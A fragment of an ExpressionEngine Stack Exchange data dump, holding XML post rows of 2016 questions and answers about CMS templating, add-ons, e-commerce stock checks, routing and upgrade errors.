  <row Id="35342" PostTypeId="1" CreationDate="2016-01-21T15:29:45.983" Score="0" ViewCount="72" Body="&lt;p&gt;I'm making a people directory index and would like A-Z links, where clicking on a letter produces all people whose last names begins in that letter. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm pulling from a People channel, which has a Last Name field, but it doesn't look like the exp:channel:entries search parameter can search on just the first character of a field?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there an easy way to do this? My next idea is running SQL WHERE last_name LIKE 'x%', but I'd prefer a more elegant solution if one exists.&lt;/p&gt;&#xA;" OwnerUserId="1327" LastActivityDate="2016-02-25T17:02:42.813" Title="Can I make a directory that lists by first letter of last name?" Tags="|channel-entries|search|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35343" PostTypeId="1" CreationDate="2016-01-21T16:36:53.243" Score="0" ViewCount="73" Body="&lt;p&gt;I cloned a site to overhaul it, meaning I copied over all files and databases, but following the instructions in the ExpressionEngine User Guide to upgrade (from 2.5.2 to 2.10.2) I cleared all caches.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I updated Channel Images to version 5.4.19, but when I try to regenerate images I get the following error (username and filename redacted):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;A PHP Error was encountered&#xA;&#xA;Severity: Warning&#xA;&#xA;Message: copy(/home/&amp;lt;username&amp;gt;/public_html/dev/system/expressionengine/cache/channel_images/&amp;lt;filename&amp;gt;.jpg): failed to open stream: No such file or directory&#xA;&#xA;Filename: local/local.php&#xA;&#xA;Line Number: 111&#xA;&#xA;&#xA;Fatal error: Uncaught exception 'Exception' with message 'Image file not found: /home/&amp;lt;username&amp;gt;/public_html/dev/system/expressionengine/cache/channel_images/&amp;lt;filename&amp;gt;__small.jpg' in /home/&amp;lt;username&amp;gt;/public_html/dev/system/expressionengine/third_party/channel_images/libraries/PHPThumb/ThumbBase.inc.php:193 Stack trace: #0 /home/&amp;lt;username&amp;gt;/public_html/dev/system/expressionengine/third_party/channel_images/libraries/PHPThumb/ThumbBase.inc.php(172): ThumbBase-&amp;gt;triggerError('Image file not ...') #1 /home/&amp;lt;username&amp;gt;/public_html/dev/system/expressionengine/third_party/channel_images/libraries/PHPThumb/ThumbBase.inc.php(110): ThumbBase-&amp;gt;fileExistsAndReadable() #2 /home/&amp;lt;username&amp;gt;/public_html/dev/system/expressionengine/third_party/channel_images/libraries/PHPThumb/GdThumb.inc.php(96): ThumbBase-&amp;gt;__construct('/home/&amp;lt;username&amp;gt;/...', false) #3 /home/&amp;lt;username&amp;gt;/public_html/dev/system/expressionengine/third_party/channel_images/libraries/PHPThumb/ThumbLib.inc.php(127): GdThumb-&amp;gt;__construct('/home/&amp;lt;username&amp;gt;/...', Array, false) #4 /home/&amp;lt;username&amp;gt;/p in /home/&amp;lt;username&amp;gt;/public_html/dev/system/expressionengine/third_party/channel_images/libraries/PHPThumb/ThumbBase.inc.php on line 193&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Why is it searching in the cache directory for the images? Shouldn't it just be searching for the original files in the &lt;code&gt;/images/uploads&lt;/code&gt; directory? What are my options to resolve the issue?&lt;/p&gt;&#xA;" OwnerUserId="3230" LastActivityDate="2016-07-11T07:41:24.900" Title="Why is Channel Images searching for images in the cache folder?" Tags="|channel-images|cache|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35344" PostTypeId="2" ParentId="32638" CreationDate="2016-01-21T18:04:08.340" Score="0" Body="&lt;p&gt;You need to add &lt;code&gt;parse_depth=&quot;2&quot;&lt;/code&gt; to the outermost set_list tag. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is required so that both the gwcode_categories tag and the inner set_list tag are parsed &lt;em&gt;before&lt;/em&gt; the outermost set_list captures it's row data.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As per example here:&#xA;&lt;a href=&quot;https://github.com/croxton/Stash/wiki/Lists#three-and-more-dimensional-lists&quot; rel=&quot;nofollow&quot;&gt;https://github.com/croxton/Stash/wiki/Lists#three-and-more-dimensional-lists&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="289" LastActivityDate="2016-01-21T18:04:08.340" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35345" PostTypeId="1" CreationDate="2016-01-21T21:43:03.623" Score="1" ViewCount="65" Body="&lt;p&gt;I have a grid field, which contains a relationship field. The related entries have an image field. I want to dig down to the image credit, description, etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's what I thought &lt;em&gt;ought&lt;/em&gt; to work:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{grid_field}&#xA;    {grid_field:relationship}&#xA;        {grid_field:relationship:image_field}&#xA;            {credit}&amp;lt;br /&amp;gt;&#xA;            {description}&#xA;        {/grid_field:relationship:image_field}&#xA;    {/grid_field:relationship}&#xA;{/grid_field}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It didn't work, and I've tried so many variations with syntax, etc., that I don't even want to try to post them all here. Suffice to say it's been a lot and I haven't hit on an answer yet.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any thoughts?&lt;/p&gt;&#xA;" OwnerUserId="3132" LastActivityDate="2016-01-21T21:43:03.623" Title="Image info, from relationship nested within grid" Tags="|ee2|relationships|grid|image|" AnswerCount="0" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="35346" PostTypeId="2" ParentId="35340" CreationDate="2016-01-22T09:50:55.583" Score="2" Body="&lt;p&gt;Appears that the restriction on number of decimals is set directly in database.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've got it fixed by running these queries:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;ALTER TABLE  `exp_store_products` CHANGE  `price`  `price` DECIMAL(&#xA;   19, 8 ) NULL DEFAULT NULL ;&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;ALTER TABLE  `exp_store_order_items` CHANGE  `price`  `price` DECIMAL( 19, 8 )  NOT NULL DEFAULT  '0.0000';&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;ALTER TABLE  `exp_store_order_items` CHANGE  `regular_price`  `regular_price` DECIMAL( 19, 8 ) NOT NULL DEFAULT  '0.0000';&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="19" LastEditorUserId="19" LastEditDate="2016-01-22T13:16:12.380" LastActivityDate="2016-01-22T13:16:12.380" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="35347" PostTypeId="2" ParentId="32878" CreationDate="2016-01-22T10:54:01.077" Score="0" Body="&lt;p&gt;Seems to be a bug with Freeform not using the full path to the file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;in the file:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;system/expressionengine/third_party/freeform/default_fields/freeform_ft.file_upload.php&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;line 273, change this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$mime = get_mime_by_extension($filename);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;to this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$mime = get_mime_by_extension($file_path);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="7023" LastEditorUserId="7023" LastEditDate="2016-01-22T11:14:29.367" LastActivityDate="2016-01-22T11:14:29.367" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35348" PostTypeId="1" AcceptedAnswerId="35400" CreationDate="2016-01-22T11:52:18.000" Score="0" ViewCount="61" Body="&lt;p&gt;I could swear this was working last week.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've got Resource Router set up like so:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;':url_title' =&amp;gt; function($router) {&#xA;$router-&amp;gt;setTemplate('addon/index');&#xA;$router-&amp;gt;setGlobal('template', 'addon');&#xA;},&#xA;':url_title/faqs' =&amp;gt; function($router) {&#xA;    $router-&amp;gt;setTemplate('addon/faqs');&#xA;$router-&amp;gt;setGlobal('template', 'addon');&#xA;},&#xA;':url_title/changelog' =&amp;gt; function($router) {&#xA;    $router-&amp;gt;setTemplate('addon/changelog');&#xA;$router-&amp;gt;setGlobal('template', 'addon');&#xA;},&#xA;':url_title/documentation' =&amp;gt; function($router) {&#xA;    $router-&amp;gt;setTemplate('addon/documentation');&#xA;$router-&amp;gt;setGlobal('template', 'addon');&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and it works.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, I've just started to notice that if I try /blog the template that gets served is addon/index.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;'blog' is not a URL title that exists in the database and this is happening for other template groups as well.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Like I say, this has been working and only just seeing it has stopped coming back to the project this morning.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I were to alter my routes like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;'blog' =&amp;gt; 'blog',&#xA;'blog/:url_title' =&amp;gt; 'blog/post',&#xA;'voucher' =&amp;gt; 'voucher',&#xA;'members' =&amp;gt; 'member',&#xA;':url_title' =&amp;gt; function($router) {&#xA;$router-&amp;gt;setTemplate('addon/index');&#xA;$router-&amp;gt;setGlobal('template', 'addon');&#xA;},&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;it works, but I'd rather rely on native EE routing for these template groups.&lt;/p&gt;&#xA;" OwnerUserId="146" LastActivityDate="2016-01-27T15:08:21.240" Title="Resource router hijacking all template groups" Tags="|url|routing|template-routes|resource-router|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35350" PostTypeId="1" AcceptedAnswerId="35357" CreationDate="2016-01-22T18:52:36.777" Score="0" ViewCount="62" Body="&lt;p&gt;I'm using expresso store and apart from regular products I have gift boxes which contain multiple products. They are a separate channel and I'm using playa to pick the products for each gift box entry.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;what I need to do is check the stock level for each individual product and if any of those products are out of stock then the gift box should not be available for purchase.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I put the conditional inside the loop then I will get 3-4 results and I only need one of them to be 0 in order to hide the add to cart button. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So I need a conditional that will wrap around all of the related entries for the gift box and if any of the items have a stock level of 0 it should disable to button.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT: so the code I have for normal products is as follows:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if total_stock &amp;gt; 0}&#xA;&amp;lt;input type=&quot;submit&quot; name=&quot;submit&quot; value=&quot;add to cart&quot;/&amp;gt;                    &#xA;{if:else}&#xA;&amp;lt;p&amp;gt;Product is unavailable&amp;lt;/p&amp;gt;&#xA;{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;what I need for gift boxes should be something like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if &quot;{exp:playa:children field=&quot;gift_products&quot;}{stock}{/exp:playa:children}&quot;&#xA; *=&quot;0&quot;}&#xA;&amp;lt;p&amp;gt;Product is unavailable&amp;lt;/p&amp;gt;&#xA;{if:else}&#xA;&amp;lt;input type=&quot;submit&quot; name=&quot;submit&quot; value=&quot;add to cart&quot;/&amp;gt; &#xA;{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;so if the stock level of multiple related products is 0 add to cart should not be available&lt;/p&gt;&#xA;" OwnerUserId="1438" LastEditorUserId="1438" LastEditDate="2016-01-23T23:48:45.917" LastActivityDate="2016-01-24T19:10:15.073" Title="Conditional for entire entries loop" Tags="|expresso-store|conditionals|advanced-conditionals|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="35351" PostTypeId="2" ParentId="34782" CreationDate="2016-01-23T10:38:38.980" Score="0" Body="&lt;p&gt;There was indeed a &lt;a href=&quot;https://support.ellislab.com/bugs/detail/21482/&quot; rel=&quot;nofollow&quot;&gt;bug&lt;/a&gt; concerning revisions. It should be fixed in EE 3.1.1.&lt;/p&gt;&#xA;" OwnerUserId="6825" LastActivityDate="2016-01-23T10:38:38.980" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35352" PostTypeId="1" AcceptedAnswerId="35359" CreationDate="2016-01-23T13:57:50.517" Score="0" ViewCount="106" Body="&lt;p&gt;I'm out of ideas here, and posting this as a last resort hopping you can give me some ideas where the problem might lie. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I moved servers recently, and I don't know whether this is a problem that might have caused the issue I'm having now is I didn't clear the cache before exporting all the files (forgot). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;But the problem is after moving servers Front End works fine, database works fine. But when I try and login to CP I get WCOD :( &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've increase PHP memory to 128MB that did not seem to fix the issue. Cleared the cache/ cookies on my computer, cleared .htaccess file etc. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.yourpeakstate.com&quot; rel=&quot;nofollow noreferrer&quot;&gt;Link to website&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried looking up online and reading other questions but that didn't seem to do it for me. &lt;a href=&quot;https://expressionengine.stackexchange.com/questions/98/white-screen-of-death-in-cp-after-login&quot;&gt;This seemed to be most related question&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm not asking you to fix this for me but maybe to direct me to the right direction here. As I said this is my last resort :) &lt;/p&gt;&#xA;&#xA;&lt;p&gt;ALSO:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When using search functionality in banner I get an error &quot;The search path contains an error. Please contact the system administrator.&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is Search template code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:search:simple_form channel=&quot;blog_post|quotes_article&quot; result_page=&quot;search/results&quot; no_result_page=&quot;search/no-results&quot; where=&quot;all&quot; results=&quot;15&quot; search_in=&quot;everywhere&quot; status=&quot;open&quot;}&#xA;                &amp;lt;input type=&quot;text&quot; name=&quot;keywords&quot; id=&quot;search-input&quot; placeholder=&quot;I'm looking for...&quot;&amp;gt;&#xA;                &amp;lt;button type=&quot;submit&quot;&amp;gt;Search&amp;lt;/button&amp;gt;&#xA;            {/exp:search:simple_form}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Thanks again,&lt;/p&gt;&#xA;" OwnerUserId="6280" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:23.553" LastActivityDate="2016-01-24T23:59:27.757" Title="WCOD in when loging in to Control Panel after moving servers" Tags="|control-panel|white-screen-of-death|server-migration|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="35353" PostTypeId="1" CreationDate="2016-01-23T14:57:53.670" Score="0" ViewCount="26" Body="&lt;p&gt;We have hundreds of products that are purchased in bulk. It would be easiest if a user could go down a list and mark quantities and then submit an order.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There doesn't have to be a checkout, because orders have to be approved before moving forward with payment, and most orders are at least $5,000. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Has anyone heard of solution that can achieve this in EE?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;We've tried FreeForm, but we've maxed out the number of fields allowed.&lt;/p&gt;&#xA;" OwnerUserId="6687" LastActivityDate="2016-06-05T20:58:37.393" Title="What's a Wholesale ordering solution?" Tags="|forms|checkout|shopping-cart|bulk|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35357" PostTypeId="2" ParentId="35350" CreationDate="2016-01-24T19:10:15.073" Score="1" Body="&lt;p&gt;You can't obviously check for just one of them out of stock numerically, so you have to concatenate them together with a key identifier, so for each loop start the total stock with a character &quot;#&quot;, then if &quot;#0&quot; exists, you know that one of the items is out (albeit you won't know which).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So assuming product A has 5, Product B has 0 and Product C has 2, your loop will output something like this: &quot;#5#0#2&quot;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if &quot;{exp:playa:children field=&quot;gift_products&quot; var_prefix=&quot;product&quot;}{exp:store:product entry_id=&quot;{product:entry_id}&quot;}#{total_stock}{/exp:store:product}{/exp:playa:children}&quot; *= &quot;#0&quot;}&#xA;    &amp;lt;p&amp;gt;Product is unavailable&amp;lt;/p&amp;gt;&#xA;{if:else}&#xA;    &amp;lt;input type=&quot;submit&quot; name=&quot;submit&quot; value=&quot;add to cart&quot;/&amp;gt; &#xA;{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I've added the product tag pair as I'm assuming it's needed, along with the var_prefix parameter, but not tested the exact syntax, may well require tweaking.&lt;/p&gt;&#xA;" OwnerUserId="425" LastActivityDate="2016-01-24T19:10:15.073" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="35358" PostTypeId="2" ParentId="35353" CreationDate="2016-01-24T20:14:28.777" Score="0" Body="&lt;p&gt;I expect any of the 3 main ecommerce add-ons will suffice, but personally I'd recommend Expresso Store. It has a &lt;a href=&quot;https://www.exp-resso.com/docs/product_form_tag.html&quot; rel=&quot;nofollow&quot;&gt;multi-product add to basket&lt;/a&gt; ability, so you can list out many products, the user can then work down a list you display from entries, add quantities to and then submit (add to basket). Each product would be priced on a single entity/blob, then let Store do the quantity calculations. This will also allow you to utilise a basket, which then opens more options for your design, UX, and project future scope.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You don't have to utilise the payment gateway, just simply use a dummy gateway and setup the email (in Expresso Store) to the client to inform them that their request has been received and an email (again in Store) that gets sent to you with what they have ordered (requested), along with their contact details for you to contact them and fulfill.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If project budget is an issue and you can't stretch to an ecom module, you should be able to still do it via Freeform but not using a field for each product (which sounds like your issue), but consolidate all the products and quantities into a single field via JavaScript and store in Freeform as a &lt;a href=&quot;https://solspace.com/expressionengine/freeform/docs/default_fieldtypes/#multi-select_attr_name&quot; rel=&quot;nofollow&quot;&gt;multi-select field&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="425" LastActivityDate="2016-01-24T20:14:28.777" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="35359" PostTypeId="2" ParentId="35352" CreationDate="2016-01-24T23:59:27.757" Score="0" Body="&lt;p&gt;Start with setting &lt;code&gt;$debug= 1;&lt;/code&gt; in your /system/index.php&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's most likely an extension.&#xA;or try setting this in your config file.&#xA;&lt;a href=&quot;https://docs.expressionengine.com/v2/general/system_configuration_overrides.html#allow-extensions&quot; rel=&quot;nofollow&quot;&gt;https://docs.expressionengine.com/v2/general/system_configuration_overrides.html#allow-extensions&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#allow_extensions = 'n'&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="315" LastActivityDate="2016-01-24T23:59:27.757" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="35362" PostTypeId="1" CreationDate="2016-01-25T12:32:11.623" Score="0" ViewCount="51" Body="&lt;p&gt;Is there any native/third-party addon to manage pre-order for Cartthrob in expressionengine? or do we've to build something bespoke? Any idea?&lt;/p&gt;&#xA;" OwnerUserId="2625" LastActivityDate="2016-06-07T07:59:32.353" Title="Any pre-order addon for Cartthrob?" Tags="|cartthrob|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="35363" PostTypeId="1" CreationDate="2016-01-25T14:14:42.013" Score="0" ViewCount="111" Body="&lt;p&gt;I had other issues with avatars, but a fresh install of 3.1.1 seemed to resolve that. Now, when I went into the member profile on a fresh install, it displayed proper the first time. When I went back in the second time, I got this error:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Exception Caught&#xA;&#xA;Attempting to access file outside of directory.&#xA;C:\GIT\Production\stkhomes.net\system\ee\EllisLab\ExpressionEngine\Service\File\Directory.php:28&#xA;&#xA;Stack Trace: hide details&#xA;&#xA;#0     &#xA;C:\GIT\Production\stkhomes.net\system\ee\EllisLab\ExpressionEngine\Library\Filesystem\Filesystem.php(306): EllisLab\ExpressionEngine\Service\File\Directory-&amp;gt;normalize('facebook_1.png')&#xA;&#xA;#1 &#xA;C:\GIT\Production\stkhomes.net\system\ee\EllisLab\ExpressionEngine\Controller\Members\Profile\Settings.php(120): EllisLab\ExpressionEngine\Library\Filesystem\Filesystem-&amp;gt;exists('facebook_1.png')&#xA;&#xA;#2&#xA;[internal function]: EllisLab\ExpressionEngine\Controller\Members\Profile\Settings-&amp;gt;index()&#xA;&#xA;#3 &#xA;C:\GIT\Production\stkhomes.net\system\ee\EllisLab\ExpressionEngine\Core\Core.php(191): call_user_func_array(Array, Array)&#xA;&#xA;#4     &#xA;C:\GIT\Production\stkhomes.net\system\ee\EllisLab\ExpressionEngine\Core\Core.php(94): EllisLab\ExpressionEngine\Core\Core-&amp;gt;runController(Array)&#xA;&#xA;#5 &#xA;C:\GIT\Production\stkhomes.net\system\ee\EllisLab\ExpressionEngine\Boot\boot.php(138): EllisLab\ExpressionEngine\Core\Core-&amp;gt;run(Object(EllisLab\ExpressionEngine\Core\Request))&#xA;&#xA;#6&#xA;C:\GIT\Production\stkhomes.net\public_html\admin\index.php(143): require_once('C:\\GIT\\Producti...')&#xA;&#xA;#6&#xA;C:\GIT\Production\stkhomes.net\public_html\admin\index.php(143): require_once('C:\\GIT\\Producti...')&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This happens on both production server and development server.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;PHP Version 5.3.29&#xA;EE Version 3.1.1&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;*** UPDATE &lt;/p&gt;&#xA;&#xA;&lt;p&gt;It is happening here:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;protected function normalize($path)&#xA;    {&#xA;        $path = $this-&amp;gt;root.'/'.$path;&#xA;&#xA;        if (strpos($path, '..') !== 0)&#xA;        {&#xA;            throw new FilesystemException('Attempting to access file outside of directory.');&#xA;        }&#xA;&#xA;        return $path;&#xA;    }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If I echo out the path, it is : &lt;code&gt;C:/GIT/Production/stkhomes.net/public_html/images/avatars/facebook_1.png&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The statement should equate to &lt;code&gt;False&lt;/code&gt; thus returning the variable &lt;code&gt;$path&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I comment out this section:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if (strpos($path, '..') !== 0)&#xA;            {&#xA;                throw new FilesystemException('Attempting to access file outside of directory.');&#xA;            }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The page loads fine.&lt;/p&gt;&#xA;" OwnerUserId="3139" LastEditorUserId="3139" LastEditDate="2016-01-25T15:44:43.110" LastActivityDate="2016-06-07T12:59:34.190" Title="Attempting to access file outside of directory - when trying to access member profile" Tags="|members|ee3|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35364" PostTypeId="2" ParentId="35363" CreationDate="2016-01-25T15:59:14.897" Score="0" Body="&lt;p&gt;This code appears to be expecting &lt;code&gt;$this-&amp;gt;root&lt;/code&gt; to be a relative file path (think something like &lt;code&gt;../my_web_root/&lt;/code&gt;), but is instead getting a full server path (&lt;code&gt;C:/GIT/production/etc&lt;/code&gt;). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Check all of your file upload preferences and path settings for your installations are correct. If you're 100% sure your paths are correct, this sounds like a possible bug, possibly connected to Windows file paths. I would recommend contacting EllisLab at team@ellislab.com.&lt;/p&gt;&#xA;" OwnerUserId="3579" LastActivityDate="2016-01-25T15:59:14.897" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="35368" PostTypeId="2" ParentId="35046" CreationDate="2016-01-25T19:27:19.673" Score="0" Body="&lt;p&gt;After struggling with Capistrano and building various one-off bash scripts for deployment I decided to build my own move tools.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Drum-roll..... Introducing &lt;strong&gt;eemove&lt;/strong&gt;! Automated deployment for ExpressionEngine sites: &lt;a href=&quot;https://github.com/sparkison/eemove&quot; rel=&quot;nofollow&quot;&gt;https://github.com/sparkison/eemove&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Currently in an alpha state so likely to be bugs. Can grab the generated/executable jar file using the release tab of the repo.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;All comments, suggestions, etc. welcome!&lt;/p&gt;&#xA;" OwnerUserId="2062" LastActivityDate="2016-01-25T19:27:19.673" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35369" PostTypeId="1" AcceptedAnswerId="35397" CreationDate="2016-01-25T19:49:48.007" Score="0" ViewCount="165" Body="&lt;p&gt;&lt;strong&gt;Exp:resso Store v1.6.5 on ExpressionEngine v2.10.2&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have an integration using PayPal Express working just fine with callbacks, however with WorldPay as alternative payment provider, there's an error on the callback:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Error reported: Callback to &lt;a href=&quot;http://www.example.com/?ACT=24&amp;amp;H=8fbe37725478025650b33d945595c1cc&quot; rel=&quot;nofollow&quot;&gt;http://www.example.com/?ACT=24&amp;amp;H=8fbe37725478025650b33d945595c1cc&lt;/a&gt;: NOT OK, received HTTP status: 403&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Request:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;POST /?installation=1234567&amp;amp;ACT=24&amp;amp;msgType=authResult&amp;amp;H=8fbe37725478025650b33d945595c1cc&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Response:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;HTTP/1.1 403 Forbidden&#xA;  This form has expired. Please refresh and try again.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;The data going from WorldPay to EE looks OK but the callback URL isn't functioning correctly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A successful upgrade of EE from 2.9.2 to v2.10.2 did not resolve the issue.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas? Thanks.&lt;/p&gt;&#xA;" OwnerUserId="598" LastEditorUserId="598" LastEditDate="2016-01-26T17:55:09.513" LastActivityDate="2016-01-27T12:32:04.877" Title="Exp:resso Store callback from WorldPay returning 403 Forbidden" Tags="|expresso-store|ee2|add-on|payment-gateway|worldpay|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="35370" PostTypeId="1" AcceptedAnswerId="36076" CreationDate="2016-01-25T19:55:33.060" Score="0" ViewCount="197" Body="&lt;p&gt;I have used &lt;a href=&quot;https://github.com/focuslabllc/ee-master-config&quot; rel=&quot;nofollow&quot;&gt;Focus Lab's EE Master Config&lt;/a&gt; on every EE2 site I've built, since I heard about it. Now I am working on a site in EE3, and wondering, will this setup work as-is for EE3, or will it require any modifications? Or is there an updated version out there?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="1527" LastActivityDate="2016-04-06T21:53:14.033" Title="Will Focus Lab EE Master Config work as-is on EE3?" Tags="|focus-lab-master-config|ee3|config-overrides|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="35372" PostTypeId="1" AcceptedAnswerId="35588" CreationDate="2016-01-26T00:31:06.980" Score="0" ViewCount="164" Body="&lt;p&gt;Will Assets be updated to work with EE 3.x?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;We're developing a website for a client that will be load balanced and using S3 for files and would like to use Assets for the S3 integration, however, the site will be using EE 3.1 and assets only suports 2.x currently.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What is the timeframe for a 3.x Assets compatible update?&lt;/p&gt;&#xA;" OwnerUserId="7030" LastActivityDate="2016-02-17T11:16:54.443" Title="Assets for ExpressionEngine 3.x" Tags="|assets|pixelandtonic|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
